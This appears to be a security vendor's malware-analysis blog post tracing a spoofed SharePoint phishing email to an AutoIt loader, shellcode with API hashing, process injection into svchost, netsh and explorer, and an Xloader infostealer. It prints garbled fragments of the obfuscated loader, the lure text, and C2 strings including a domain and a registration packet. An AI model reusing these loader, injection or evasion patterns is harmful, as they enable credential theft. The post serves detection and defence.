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An in-depth analysis of Xloader malware delivered via spoofed SharePoint notifications.

Sublime recently prevented a malicious SharePoint impersonation attempting to deliver
malware via a link in the message.

Our analysis led us through a complex chain of obfuscation, zip files, AutolT, shellcode, and
multiple rounds of process injection. We believe with high confidence that the final deployed
payload is Xloader (Formbook), an information stealer that primarily harvests user
credentials, keystrokes and screenshots, and with moderate confidence that the initial
loading component is related to Trickgate.

In this post, we’ll walk through the details of our analysis starting with the detection of the
SharePoint impersonation.

The message

This attack starts with the target receiving a message that looks like a legitimate SharePoint
share with an Open files link, including the standard “share” logo and the Microsoft brand
logo.
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New files were shared with you

You have received new documents via Microsoft Office.

Kindly access documents addressed to

Open files

This message was caught by Sublime after triggering multiple Detection Rules and earning
an Attack Score Verdict of malicious.

Detection signals

Sublime's Al-powered detection engine prevented this attack. The top signals in these
attacks are:

» Microsoft brand impersonation: Sublime detected the Microsoft logo and fake
Sharepoint template using computer vision.

e Link to suspicious file type: Sublime’s LinkAnalysis service followed the URL and
redirects, downloaded the files at the destination, exploded the file, and analyzed it for
attempts to deliver malware.

o Potential spoof: The sender failed SPF authentication.

o Credential theft: Language in the message appears to engage the user in order to
steal credentials.

¢ Unusual sender domain: The sender's domain doesn't match any link domains found
in the body of the message.
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Attack Score Verdict ©

Malicious

Attack Score Signals

Potential Spoof

The sender failed SPF authentication.

Credential Theft

Language in the message appears to engage the user in order to steal credentials.

Suspicious Subject

The subject attempts to engage using a sense of urgency, a common tactic used in attacks.

Message Group Details

Subject New files received
Sender info@box-point.com
Recipient

B Landed in spam

Analysis Details

Matched Detection Rules (3)

6 Brand impersonation: Microsoft with embedded logo and credential theft language v
@ Link to auto-download of a suspicious file type (unsolicited) v
@ Brand impersonation: Microsoft with low reputation links v

See the full Message Query Language (MQL) that detected these attacks in these publicly
available Detection Rules in the_Core Feed:

Xloader deep dive

The Open files button led to a .zip file hosted on a non-SharePoint URL. Within a safe
environment, we downloaded and extracted its contents for further analysis: document . exe.
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To obtain more information on the file, we used Detect It Easy to provide an initial overview
and determine how to proceed with analysis. Detect It Easy was able to recognize the file as
AutoIT, which is a scripting language that allows for automation of windows tasks and
systems management. AutolT has many legitimate purposes, but it is often utilized by
malicious actors due to its relative simplicity, flexibility, and ability to be turned into
executable files.

File name

\document.exe

File type Entry point Base address MIME

PE32 - 0042574 | > Disasm 00400000 ‘ Memaory map

T  — T .
= : Import Resources ] T |
Strings

Sections TimeDateStamp SizeOfImage Resources

0005 [ > |  2024-11-19 19:49:10 0012f000 Manffest || Version ciamini

Scan Endianness Mode Architecture ype | Hex

Detect It Easy(DiE) LE 32 1386

library Autolt(-)[-]
compiler Microsoft Visual C/C++(2012)[-]
linker Microsoft Linker(11.0)[GUI32

Options

Signatures |_ Deep scan About

157 msec Exit

Standard analysis tools don’t handle AutolT well, so we grabbed an AutolT decompiler from
GitHub and deployed it to our analysis machine. When we decompiled document . exe, we got
the original AutolT script used to create the binary file.

The script begins with a large blob of obfuscated text stored in a single parameter.
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(@) Exe2Aut - Autolt3 Decompiler = O X

Global svwcpaypcs = "eocsl2S0eccsl9xeccsl%beccslSSeocsl9BeccslbeccsieeccsiSceocslfBeccs2SleocslSeeccsiScencslSceocsiocenc: A
jvwcpaypcs &= "ocs2S54eocs2S5eocs298eocsiSaeocsiSbeocsifSeocs2S€eocs2S5eocsiSleocs eocs2S50eocs2Sleoc JOeocsi2S0eocs25€eoc:

$vvwcpaypes "eocs295eccs29%ocs2%€rocs2 9beccs-:50*cs-5=acc5 Sceocs290eccsdSlecc 4:0:5“9 Q;CS_EJOQCS-SURCCSESERCCSﬁ550:
Svwcpaypcs *eocs250eoccs2S0eoccs2S0eocs2S0eocs2 ocs2S0eocs2S€eocs2S€eocs2SBeoc
$vwcpaypcs "beocs 2%0eccs2%0eccs

& Seocs29€eccs2%4eccs2S0eoc ocs2
Svwcpaypcs &= "ocs2S€eocs2S€eocs2S8eocs295eocsiSSeocs2f5eocs2Sdeocs2s0 525beccs2S%8eocs257eo0cs253eccs2S50eccs2S0eccs2’
$vwcpaypcs &= "Saeocs2SbeocslSaeocs2SleoccslSeeocsl S90eocc eocs290eocs290eoccs29Ceocs2S€eocsi9BencslS%eocs296¢

svwcpaypcs &= "€eocslSleoccsiSleccs2S0eoccsiS0ecc Deocs25€eccsiS€eocs2SBeocs2 258eocs2Sdeoccs2SEeo

svwcpaypcs &= "eocs Jeocs250eoccs2S0eocsl9€eocs29€eocs2S8eocs295%eocs295eocs295eocs297eocs290eocs29feocs2Sfeccs2Sfeoc

$vwcpaypcs &= "ocslSTeocsl2%BeocslifeocsiSfeocsiifeocsiSfeocs2Sfeccs2ffeccsiSbeocsiiSeocsii€eocsifdeocs2Sleocs2ileoccs25leoc:
Fvwcpaypces &

$vwcpaypcs &= "250eocsZSleocslSleocs2S0eocs2ZSleocs2SleocsiS€eocslS€eocsiSBeocs2i5eocsifdeocsiSSeocsiSaeocs2ifeocsiSbeocs2s!
$vwcpaypcs &= "cs2S0eocs2S€eccsiS€eocsiffeccs299eocs294eocs2Sdeocsifbeocs20eocs2Sbeocs2SaeocsifceocsiIceocsifleocsiGleocs:
$vwcpaypcs &= "ocsZSceocsl2Sbeocs2%aeocsl%€eocsiSceocs2ileocs2SleocsibleccsiSleocs2ileocs2S0eccs2S€eocs2S€eocs2bBeocslSSeoc:
$vwcpaypcs &= "sl%{leoccsl2%0eccsli%leccsiS0eccsl%0eoccslf0eccsl®leoccsiSCeccsl9CeccslSBeccslS%eocslf4eocslSdeccslSceccslSBeccsl!
svwcpaypcs &= "ocs258eocs2Sdeocs295%eocs2S5eocsiS3eocs2Sdeocs2SfeocsitdeccsiSfeocs2Sfeocs2Sfeocs2Sfeocs2S58eocs25%eocs2SSenc
$vwcpaypcs &= "Sdeocs2Sfeccsli9feccslSfeoccsi9feccsl9eocsi9%eccslf8eccsiSdeccs2f0eccsifBeocsi9feccslfeeocs29feccs29feccs29t
Svwcpaypcs &= "ocs2S8eocs2S5eocs2Sleocs2S8eocsiSfeocsiSeeocs2SfeocsiSfeocsiSfeocs2SfeocsiSceocs2STeocs2S8eocsiSS5eocs2Sleoc:
$vwcpaypes &= "S”e:cs;EEe:cs:SSe‘cs’ﬁ'a'cs"Gce::s:s:e:csTiee*cs;?:eAcs"E:e*:s:SfeAcsZ?:a:cs;Eaeﬁcs:Eseo:sﬁSQa:cs;saa:cslﬁ‘
svwcpaypcs &= "slSfeocs2Sfeocs2Sfeocs2SB8eocs2%%eocslSBeocslSdeocsli3eocs2SBeocslSfeocsiSeeocs2SfeocslSfeocsiSfeocs2Sfeccs2
$vwcpaypes &= "feocsl9%feocslSfeccsl9feocs298eocsi99%eocs2S8eccsiSSeccs294eccs2i98eccs2SfeccsiSerocs2SfeocsiSfeccs29feccs29fec
svwcpaypcs &= “"deocs2%SeccslSSeccsl%Beocs2i0eccslSfeocsiSdeoccs2SfeccslSfeccsiSfeocs2SfeccsiSBeccs25Seccs295eccslSSeccs2 S5
$vwcpaypes &= "slS9feocslSfeocslS4eocs2SZeocslfbeocsiSleocs2S5eocsiSceccsifaeocs2Sdeocs298eocslSdeoccs2S8eocs2Sdeoccs298e00s2
= "cslS5feocslSeeocslSfeocsiSfeccs kcsuﬁfq,cs_ScacLs_STQucs_SEekcs_SS—,C§nS?e;cs_Sipqu_ﬁfe,csuiae;Cs_Sf!Jcm

= "pecsZ9%deocsl98eocs290eocsifbeocsiSaeccs297eocs293eocs290eocs250eocs290eocs250eoccs290eocs2S0eocs29€eocs2oceoc:

$vucpaypcs &

Fvwcpaypcs &= "eocs29STeocs2S5eocs2SaeocslSfeocs2Sdeocs2f5eocs2f5eocs
&
&

95eocs2S8eocs2Sfeocs29deocslSfeocsiSfeocsiSfeoccsi9fen

Fvwcpaypcs
Svwcpaypcs
$vwcpaypcs &= "Beocs2S%feocs2SdeocsiSfeocs2Sfeocsl
$vwepaypcs &= "cs2Sfeocsl29feocsiSfeoccsiSceocs297eocs2

Svwcpaypcs &= "eocs258eocs255eocs2Sdeocs2Sceocs2ifeocsiSeeocsSfeocs2SfeocsiSfeocsiSfeocsiddeocsibceocs2Sleocs2S8eocs2Sleont
$vwcpaypcs &= "deocsl9BeccslSSeccslSeeocs2SleocslSfeocslSdeocslfeccs2ifeocs2Sfeocs2Sfeccslfbeocs2S%eocs250eccslsfSeccslofe
Svwcpaypcs &= “:cs"Sueucs S4eucslﬁfeucs ‘eocs"S eocs-ﬁfeccs-?fe;:s-&f ocs2Sbeocs2%0eocs2SleccsiS€eocsiS€eocsiBaeocs2SSeoc:
$vwcpaypcs & feocsiSfeocs2SfeccsiSfeocslSfeccslSfeocslSeeocs2SleccslS€Eaocs:
$vwcpaypcs eocs2Sceocs25TeocslS8eocslS5eocsiSleocsiSceocsiSfeocsiSfeocsl!

< >

s29deocs2%BeocslSdeocslSaeocsifleccslifeocslSdeccsst
feocs
csiS5feocs2S8eocs25%eocs25%eocsiS5eocs2Sbeocs2S58eoccs2SfeocsiSeeocsisfe

Beocs295eccs2oceocs2fceocsiffeocsideeocsiSfeocsiifeccsiSfeccs2i9feocs:

= "Sceocsl55eocsiSTeocsiSleocsiSleocs25leocsiSbeocs2st

= "pecs2%aeocslSceocs29feocslfdeocsiSfeccsiSfeocs25fencs2 Beocs295eocs290%eoccs2S5eocs2Saeocs298eocs25feoc:

W

After the large blob of text is assigned to the $vwcpaypcs variable, the script contains logic to
decode the blob as well as other smaller obfuscated pieces. Each piece of obfuscated text
contains the string "eocs29" repeated multiple times for each string.

$vwcpaypcs &=

$vwcpaypcs = qbshjlrly(SVNCpaypcs

Global $muaviwkqgg = DllStructCreate(qbshjlrl) S . "")|& BinarylLen($vwcpaypcs) &
gbshjlriy ] g o)

Func kjbhgav($ngxhhceux)
Local $bbhwjyjs = Execute
Return $bbhwjyjs[e]

EndFunc

Dl1StructSetData($muaviwkqq, 1, $vwcpaypcs
Global $nwoapslku = D1l1StructGetPtr($muavjwkqq)

FileInstall(" , @TempDir & "
Execute

Execute

$umcquwbypp = 34667

$byjoxehf = 56672
jmziwkoay = 82968

After removing the eocs29 string with find/replace, we determined that the code was a loader
for the initial blob of text. Based on the presence of virtualProtect and D11CallAddress,
we made the safe assumption that it was executable code, likely in the form of shellcode.
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$vwcpaypcs = gbshjlriy($vwcpaypcs, " i R}
Global $muavjwkqq = D1lStructCreate("by & BinaryLen($vwcpaypcs

Func kjbhgav($ngxhhceux)
Local $bbhwjyjs = Execute
Return $bbhwjyjs[@]

EndFunc

DllStructSetData($muavijwkqq, 1, $vwcpaypcs)
Global $nwoapslku = D11StructGetPtr($muaviwkqq
FileInstall , @TempDir & "\le i
Execute

Execute

Close inspection of the code also revealed that the decoded content executes from an offset
of 9x23b0e. This will become more important later when we execute and analyze the code.
DllStructSetData($muaviwkqq, 1, $vwcpaypcs

Global $nwoapslku = D11StructGetPtr|($muaviwkqq)
FileInstall , @TempDir & " i

Execute

Execute

Next, we used CyberChef to extract the encoded text and remove any references to eocs29.
This resulted in a large blob of hex characters with initial bytes resembling valid x86
instructions.

Recipe ~amB8 Input + 0Oz =

Global $vwcpaypcs = ~

Regular expression ™ N ; . . ;
eocs298eocs29xeocs295eo0cs295e0cs298eocs29beocs29eeocs29ceoncs298eocs291eocs29eeocs29ceocs29ceocs29ceocs290
Built in reqexes eocs292eo0cs290e0cs290eacs29@eocs290eocs295e0cs296eocs295eo0cs297eocs29beocs298e0cs296e0cs29beocs29@eocs290e
User defined 0cs5298e0c5290e0cs298e0c5298e0cs296e0c5296e0c5298e0c529%e0cs5294e0c5295e0c5298e0c5294e0cs29beocs299%eocs296e0
€5295e0cs290e0cs290e0cs298e0cs298e0cs290e0C5290e0c5296e0c529620C5298e0c529%e0cs294e0cs29deocs298eocs 296eoc
Rege s29beocs29%aeocs297eocs292eo0cs290eocs290e0cs290eocs29@eocs290eocs290eocs296eocs296eocs298eocs299eocs295eocs
- ( [/\ o ]‘ ) - 295e0cs298eocs298eocs29beocs298encs296e0cs29eencs290eocs298eo0cs290eocs298eocs 290e0cs290eocs 296e0cs296e0cs 2
98eocs299e"
$vwcpaypes &=
Y "ocs294eocs295e0cs298eocs29aeocs29beocs299eocs296e0cs295e0cs290e0cs29@eocs 298e0cs 290e0cs290e0cs 290encs 296e
0cs296e0cs298eocs29%eocs294eocs29deocs298eocs29ceocs29beocs29aeocs296e0cs29cencs290e0cs290eocs 290e0cs290e0
€5298eocs290eocs296eocs296e0cs5298eocs29%e0cs295e0c5295e0c5298eocs29eeocs29beocs298encs293eocs293eocs298eoc
5290eocs29Beocs290eocs29Beocs298eocs296eocs296eocs298eocs299eocs294eocs295e0c5299eocs298eocs29beocs299%eocs
293eo0cs292e0cs29@eocs290eocs290encs290eocs29Beocs298eocs296e0cs296e0cs298eocs299%eocs294eo0cs29deocs299%eocs?

92eocs29beocs29aeocs292e0cs29eeocs29@eocs298eocs298eocs290e0cs290e0cs290e0cs296e0cs296e0cs298e0cs29%e0cs29 4,
D Dot matches all kacmie} support Df\.-)tml support - A ann Ana g ann anr ana ann ann ann ann ana i s o

mc 205998 = 311 Tr Raw Bytes &4 LF

B Case insensitive A and $ match at newlines

Output form ra
D Display total . Output B [_D M o
List capture groups
next | | previous || an | CJmatch case Clregexp [by word %
Remove whitespace & 558bec81leccc0200005657b86k 84b965 d86ba7 588b! 89458ab965 o
894d8cbabe 8eb83 9ebo3 dozba 5594b 14596b96 000000
. X o : 59ch 89844 £ 8905 8
P Carriage retums (\1) Line féeds () 66894d98ba6c0BOBBAEE89559a33c06689459c b9 AAFFFFFfbaT A6FFFEFF 98548FF
ffffb96c d4affffffbaséc 954cfFffffbs. 54e fffffbs 898d50f fffffba6coo
S2ffffffbs6e S4fFffff3sc ffffffba7 55debs7 68945d2b965000000
66894dddba7 d6b83 5894548593 894ddaba2 5dcb 45deb96c0008
o Tabs R Form feeds (\f) Full stops
. . s(\ D ! F 0066894dedbabcOBBOOB668955e233c0668945e4b96100000066898d68fFfFffh S6affffffbs7 9856¢
ffffffbosl deeffffffba7 S70fFffff 6898572 fffffb93300000066898d74ffffffba32
. N 76f b8 78t d7affffffbabe 89957 cFffffb86c00LO0E639
Find / Replace 857efFFFFF33c d8eba7 5a0b 5a2b96c adadba7? 955a6b8611
v 8945a8b97 4daab 55ach8. 45aeb’ db@babc 55b2b86c00008R
668945b433c966894dbEba7 babg6! dbcbabe Sbeb86c 3
STEP 45¢0b93 dczba 55c4b8 5c6b 4dc8babe 55cabgbct
AU{OB@I(E BOAL 223D mOECOONAAnm n TOCEALAEEEEATC nOCC O AOEIAE AL EEEOONCEOEANEELE -VOCE nEAEEEE 2 ARNOACADAOC AAEAEEELEONOCNNE R EEEE v
wc 28672 = 1 37ms  Tr Raw Bytes & NEL (detected)

We ran a Disassemble x86 operation to confirm that the hex characters were valid x86
instructions.
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https://github.com/gchq/CyberChef

H000000000000008 55 PUSH RBP 2
0000000000000001] S8BEC MOV EBP,ESP

2200000000000003 81ECCCO20020 SUB E5P,000002CC

2002000000000009 56 PUSH R5I

200200000000000A 57 PUSH RDI

200000000000000E BE6BEAEGOE MOV EAX, 0000686B

AEE000E0E00RE010 66894584 MOV WORD PTR [RBP-7C],AX

2002000000000014 B965000000 MOV ECX, 08086065

We then saved the resulting data and tried to execute it using the Speakeasy emulator by
Mandiant. Speakeasy confirmed that the code would execute, but it terminated immediately
after calling GetTickCount and Sleep. This is a common anti-analysis trick used by malware
to defeat emulators and sandboxes.

easy -r -a x86 -t shellcode from_autoit.bin --raw_offset @x23be

Analysis with Ghidra

So far, we had identified that document . exe contained a malicious AutolT script that featured
shellcode for further execution. Initial attempts to execute the shellcode inside a sandbox
had failed, so we then moved the data into Ghidra in order to work out what it was doing and
which malware family it might belong to.

Starting at the execution offset of 0x23b0e, we noticed that the code contained numerous
stack strings and quickly redirected the shellcode to an offset of o (indicated by
FUN_00000000).
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https://github.com/mandiant/speakeasy
https://unprotect.it/technique/gettickcount/
https://github.com/NationalSecurityAgency/ghidra

We decoded the initial stack string and obtained a character sequence followed by
"lecheries".

Input + O] =

local_2c = ox8; g
local_24 = @x54;
local_23 = @x31;
local 22 = @x37;
local_21 = @x58;
local_20 = @x39;
local_1f = @x44;
local_le = 8x58;
local 1d = @x44;
local_1c = @x50;
local_1b = @x47;
local_1a = @x5a;
local_19 = 0x47;
local_18 = @x47;

A

I|I |
w
u

s 659 Tr Raw Bytes <44 LF

toi.:a'_: 2 r ~
Dutput v = B 0@

ETl?PQDXDPGZGGFGQVDLBIMleecheriesq

Following the redirection (FUN_00000000) to the beginning of the shellcode, we saw
additional stack strings and references to possible AP| hashes (a method of locating
necessary windows APIs without referencing them directly by name).
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https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware

API hashes can be resolved manually, but this is often a significant effort, and largely
unnecessary if the same hashing logic is already documented. Leveraging OSINT sources,
we confirmed that these hash values matched with a shellcode-based loader (potentially
TrickGate).

The first hash value from our shellcode corresponds to the CRC32 hash of CreateProcessW.

This meant that we could use the documented values to label our code, and revealed that
the hashing is extremely likely to be CRC32.
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API NAME

CloseHandle

CreateFileW

CreateProcessW

ExitProcess

GetCommandLineW

GetFileSize

CRC32

0xB09315F4

OxATEFE929

0x5C856C47

0X251097CC

0xD9B20494

OxA7FB41635

GetModuleFileNameW | OXFC6B42F1

GetThreadContext

O0x649EB9C1

hash_str_ror1

Ox7fe1f1fb

Ox7fe63623

Ox7fe2736c

0x7f91a078

Ox7fb6c905

Ox7fbd727f

Oxff7f721a

Ox7fa1f993

hash_str21

Oxd6eb2188

0x8a111d?1

OxaZeae?10

0x55e38b1f

Ox2ffe2cb4h

0x170c1ca1

Oxd1775dc4

Oxcé414ffed

We were also able to locate the hashing algorithm within the shellcode, with constant values
confirming the CRC32 usage.




The usage of CRC32 alone was not enough to confirm that our malware was the same
TrickGate, but the fact that these hashes were seen on another shellcode-based file added
to the theory that we were looking at a similar loader or an updated variant. In addition to
this, TrickGate has been known to utilize AutolT and deliver the same payload (more later in
the post).

Debugging

The process of static reverse engineering with Ghidra is valuable but time consuming, and at
this point, not completely necessary since our primary goal was to identify the malware. Our
previous analysis suggested that the shellcode may be a loader designed to deliver the
payload onto the system.

In order to save time and prevent unnecessary analysis, we decided to debug the code and
look for any additional clues as to what we were dealing with. We could always jump back
into static analysis if debugging failed.

We began the dynamic process by loading the extracted shellcode into x32dbg using
BlobRunner by OALabs.

Using file: shellcode from_autoit.bin
Parsing offset...
Reading file
File Size: @
.Allocated!

d set a breakpoint. Then press any key to jump to the shellcode.

Jumping to shellcode

This enabled us to easily view remaining stack strings, which largely contained DLL names
later used for resolving APls.
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https://github.com/OALabs/BlobRunner

55

8BEC

Additional analysis allowed us to deploy breakpoints at the location of API hashing. This
meant that we could apply a logging condition and simply print the resolved hashes to the log
window. This is often far easier than fully reversing the hashes.

Here we have a simple conditional breakpoint that allowed us to monitor all APIs resolved via
hashing.

Edit Breakpoint 001E3617

Break Condition:

Log Text:

Log Condition:

Command Text: bp eax; run;
Command Condition:

Name:

Hit Count:

Log File... Singleshoot M| Silent Fast Resume

This revealed many of the APIs that the shellcode was resolving. Of particular interest was
the presence of CreateProcessW, VirtualAlloc and ReadProcessMemory, as well as
GetThreadContext and SetThreadContext. These APIs are commonly associated with
process injection and further suggested we were dealing with a loader and not a final
payload.
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Below is a short list of APIs that the shellcode was resolving via hashing. Note the usage of
many common injection APlIs.

Enabled
Enabled
Enabled
Enabled

[5

0O«

i L A W
Jollele

Ena d

Enabled

Enabled

Enabled

3 abled
ndL i new: Enabled
resent> Enabled

[FEY]

3
3
3
3
3
3

.GetTic > Enabled
.CloseHand] Enabled
] i Enabled
Enabled

Enabled

Enabled

Enabled

Enabled

Enabled

Enabled

Enabled

Enabled

Enabled

Enabled

Enabled

Enabled

Enabled

Enabled

Enabled

OONOOBOHEHODOC

OEHOOOQOEO

Allowing the code to execute further, we saw attempts to access a "lecheries" file located in
the users temp directory. This isn’t particularly interesting, but provided a unique string that
we could later search to identify the malware.

‘“AppDat
‘\AppDat

We also observed attempts to spawn an svchost.exe process via CreateProcessW. Given
the presence of injection APIs, this is likely the injection target and where we’ll find the next
stage of malware.
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Hide FPU

Unlocked
‘C:\\windows\\Svystem32

1
4T
2
5

We also observed the shellcode attempting to load a second copy of ntd11.d11. This is
often performed by malware in order to obtain a "clean" version for execution and is
commonly used to evade detection with variants of syscalls or DLL unhooking.

SAwWindowsh\\SYSTEM3I2\\ntdl1.d11"

@ -
21

Continuing the execution, we observed and investigated the newly spawned svchost, and
confirmed a second copy of ntd11 present in the module listing. There are few legitimate
reasons for two ntd11 modules to be loaded, so we knew something strange was going on
inside of this svchost.

[#] svchost.exe (8452) Properties

General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Comment

Name Base address Size Description

svchost.exe Oxeal000 52 kB Host Process for Windows Services
ntdiL.dll (x76eb0000 1.64 MBNT Layer DLL

ntdll.dll 0x7ffaf9650000 1.97 MB NT Layer DLL

Shortly after spawning, the new svchost.exe terminated and spawned a suspicious instance
of netsh.exe.
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https://www.crow.rip/crows-nest/mal/dev/inject/syscalls/indirect-syscalls
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++

o gj javaw.exe 6884 090 533.4 MB E . OpenJDK Platform binary
v [®] decompile.exe 8116 1.44 MB B
conhost.exe 6412 1.23 MB L Console Window Host
netsh.exe 6628 1292 Mp [ Network Command Shell

The netsh was created without any command line parameters, which is unusual and
suspicious. So we decided to investigate the process further.

General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Comment
File
Network Command Shell

Verified) Microsoft Windows
Version: 10.0.19041.1

Image file name:
[ c:\Windows\SyswoW64\netsh.exe | & |

Process
Command line: | | "C:\Windows\SysWOW64\netsh.exe" | }

|
|
Current directory: | C:\Program Files\Process Hacker 2\ ‘

Started: [ an hour and 41 minutes ago (3:39:53 AM 9/12/2024)

PEB address: 0x252000 (32-bit: 0x253000) | Image type: 32-bit
Parent: | Non-existent process (3776) B
Mitigation None | petails

Protection: None | Terminate |

By closely inspecting the memory regions of netsh.exe, we noticed a suspicious area of
memory with RWX (read/write/execute) permissions and what appeared to be shellcode.

v

etsh.exe (6628) Properties — O X

General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Comment

Hide free regions Strings... Refresh
Base address Type Size Protection | @1 netsh.exe (6628) (0xb30000 - Oxbd1000) - ] X [lod#
» 0x5a0000 Private 64 kB RW
> 0x5b0000 Private 27248 RW 00000000 ..... XH.@.H.. A
> 0x600000 Private 272kB RW 0000001020 5T 50 00 - TR H..H3
3 0X650000 Mapped 2k R 00000020 54 24 T$ .D$ ....D.

. icednon Mapped 206 R 00000030 44 24 D$$.XH..DS (8.
00000040 44 24 DS, ....H.DSOH
> 0x670000 Private 64 kB RW 00000050 38 e8
> 0X680000 Private 1,024 kB RW 00000060 95 Be
> 0x980000 Private 1,024 kB RW 00000070 £f£f cl
> 0xa80000 Private 644 kB _RW 00000080 9 Sa
~ 0xb30000 Private 644 kB RWX ggggggsg :: 44
0xb30000 Private: Commit 644 kB RWX 000050 46 53
Z0000 Private IS5 K8 RW 0000000 87 <7
» Oxc60000 Private 180 k8 RW 000000d0 45 e8 d9 a2 €6 8a
> Oxce0000 Private 3,376 kB RWX 000000e0 94 58 9a 4e 81 75
> 0x1030000 Private 2,520 kB RW 000000£0 a8 38 73 81 75 £0
oo Salvey RO e T
241350000 Mapped suEis. oy 00000120 40 33 cO c7 45 0 57 £8 fb 86 81 75 <0 =0 06 04 €3..E.W....u.
¥ BERI0000 s HR0ERRW 00000130 £8 7 45 e4 ac 86 5a 95 81 75 e4 €0 06 04 £8 c7 ..
> 0x3dfoooo Private 1,024 kB RW 00000140 45 e8 fa 10 5e Oc 81 75 eB <0 06 04 £8 c7 45 ec E.
> 0x3ef0000 Mapped 2,048kB R 00000150 2a e9 el Oc 81 75 ec 0 06 04 £8 48 89 45 £4 4c *..
3 Ox40f0000 Mapped 1,540 kB R 00000160 8b c3 c7 45 £0 57 2d £0 d4 81 75 £0 =0 06 04 £8 ...
» 0x4280000 Mapped 20,484 kB R Re-read Write Go to... 16 bytes per row L Save |
> Ox6a7d0000 Image 4,436 kB WCX e ) -
> 0x75410000 Image 960 kB WCX C:\\Mnduws\syswowm\kerneI32.dl\ 616 kB 4kB 612 kB 612 kB v
> 0x75500000 < >
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Disassembling the region inside of a debugger, we confirmed that the bytes disassembled
correctly and followed a sequence typical of shellcode. Namely, immediately calling a nearby
instruction and using a pop to obtain the address.

This typically enables shellcode to determine its position in memory when that position is not
predictable. It's also a sequence that would rarely be seen in legitimate code.

00BDO00O E8 00000000
)OBD000S 58

48

0340 O

48

83C0

FFEOQ 2
2053 0 byte p
0000 byte
0000 - byte
0048 8 dd by

EC

Portions of the code did not execute and raised exceptions, so we decided to perform a more
extensive scan of our analysis machine using hollows _hunter. Specifically, we wanted to use
hollows_hunter to search for indications of shellcode present in any process that was
currently running.

FLARE Mon 09/12/20824 6:12:56.18

i >hollows_hunter.exe /shellc 3 fiat 3
HollowsHunter v.0.3.9 (x64)

Built on: Feb 24 2024

Much to our surprise, it had flagged explorer.exe as suspicious. This was unusual as there
was no obvious new execution of explorer.exe.

Scanning : 6204 : taskhostw.exe

Scanning : 548 : explorer.exe

Scanning
xcanning : 4120 : TextInputHost.exe
xcanning : 6880 : SearchApp.exe

g

Inspecting the explorer .exe process further, we noticed another suspicious area of RWX
memory.
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https://github.com/hasherezade/hollows_hunter

= explorer.exe (548) Properties — O X
General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Comment
Hide free regions Strings... Refresh
Base address Type Size Protection Use Total WS Private WS  Sharea
0x61e0000 Mapped 16kB R C:\ProgramData\Microsoft\Windows\C... 16 kB
0x61f0000 Mapped 4kB R C:\ProgramData\Microsoft\Windows\C... 4 kB
v 0x6200000 Mapped 688 kB RWX 688 kB
0x6200000 Mapped: Commit 688 kB RWX 688 kB
X 10 Private TRE RW T KB 4 kB
0x62c0000 Private 4kB RW 4 kB 4 kB
0x62d0000 Private 4kB RW 4 kB 4 kB
0x62e0000 Private 4kB RW 4 kB 4 kB
0x62f0000 Private 12 kB RW 12 kB 12 kB

Luckily, hollows_hunter had flagged this same section and saved it for analysis.

B 7f4fde81000.shc
7ffafd

7ffad9660000.SyncCenter.dll

7ffad9660000.SyncCenter.dll.iat_hooks.bxt

dump_report,

scan_report,json

We then used Detect It Easy to search for strings in that saved region. We quickly
discovered a domain, partial URL, user agent, and base64 data prepended with the string
"PKT2". These are all strings that would be expected in code that is attempting to make an
external connection. Since these strings were present in the dump (and located in an RWX
section), we suspected that this was linked to our malware.

00000019 A XA_AMAJAVATAZAYAXN] AZY[H
000252b1 00000011 U S-1-5-21-3325825-
0002d866 00000013 A www.progadgets.tech
0002d8fc  0000001c A REVTSTRPUCTUTFBOSUpHLUxIbm55
0002da70 00000009 A ObDtp2rV=
00021376 00000009 A HTTP/1.1
00021396 00000014 A POST /igqr/ HTTP/1.1
0002f40e 0000000 A Origin: http://
0002f45e 00000010 A Referer: http://
0002f4be  0000000f A Cache-Control:
0002f4de 00000011 A Connection: close
0002f4fe 00000010 A Content-Length:
0002f51e  0000002f A Content-Type: application/x-www-form-urlencoded
0002f55e 00000008 A Accept:
0002f612 00000011 A Accept-Language:
00021652 00000011 A Accent-Encodina:
00021692 00000081 A User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/3.1.7 Safari/534.57.
00021821 0000000a A persistent
00054248 0000005d A PKT2:0b70ZY7N/TIEFSTIRCYt6gI23uZG70wc8pN +vpcHjefYAYay7blI2HFCQyng6édttNIoD311+JsMf3EQS5pg 1Lud4=

Filter
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Since we were primarily interested in identifying the malware we were dealing with, we
investigated the strings for any links to documented activity. This led to the strong suggestion
that we were dealing with Xloader (aka Formbook).

C2 communication strings

While researching PKT2 malware, we found two blogs specifically detailing Xloader (Zscaler
and Baglai Vlad).

oouo 1y CCepr-Encoaing:
2 00000081 A User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.
1 0000000a A persistent

00054248 0000005d A PKT2:0bTOZY7N/TIEFSTIRCYt6gI23uZG70wc8pN +vpcHjefYAYay7bli2HFCQynabdttNIo D31l +JsMf3EQSpg 1Lud4=

The Zscaler blog calls out Xloader registration packets using base64 appended to the string
"PKT2", which aligned with the string seen in our extracted data.

In Xloader version 4.3, the registration packet sent to the C2 includes an additional encryption layer as shown
in Figure 14.

|mo\: ril,qword ptr -Js:[rsi--‘f:j]
mov edx,dword ptr ss:[rbp+ef]
mov rcx,qword ptr ss:[rbp+e7] [rbp+e7] : "PKT2 : xkJOHTQWi BSbwaryz TG /+eBC2 yQ="'
lea rg,qword ptr ds:[riz+ril1+274a])
call pcs3zs2 |rca

| mov edx,dword ptr ss:[rbp+efF] © 2023 ThreatLabz

Figure 14. Xloader 4.3 Registration packet with additional PKT2 layer

We also saw similarities documented in the Baglai Vlad blog.
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https://www.zscaler.com/blogs/security-research/technical-analysis-xloader-s-code-obfuscation-version-4-3
https://medium.com/@baglai.vlad/in-depth-analysis-of-formbook-xloader-v7-1-398cd62a763b

Finally, the data is RC4-encrypted using hardcoded key (not master key).

*pRcakey A= BxCA40B460;
*&pRcakey[4] *= BxCA40BAGR;
*@oRcakey[8] 4= @xCA40B460;

*&pRcdkey[12] ~= 8xCA40B460;
=

CopyBytes(XLNG_data, *XLNG_constant_xcred, 5);
(LNG_data[@] = ex27u;
t Am B27U
~= @x27u;
A= Bx27u;
LNG_date Am Bx27uj
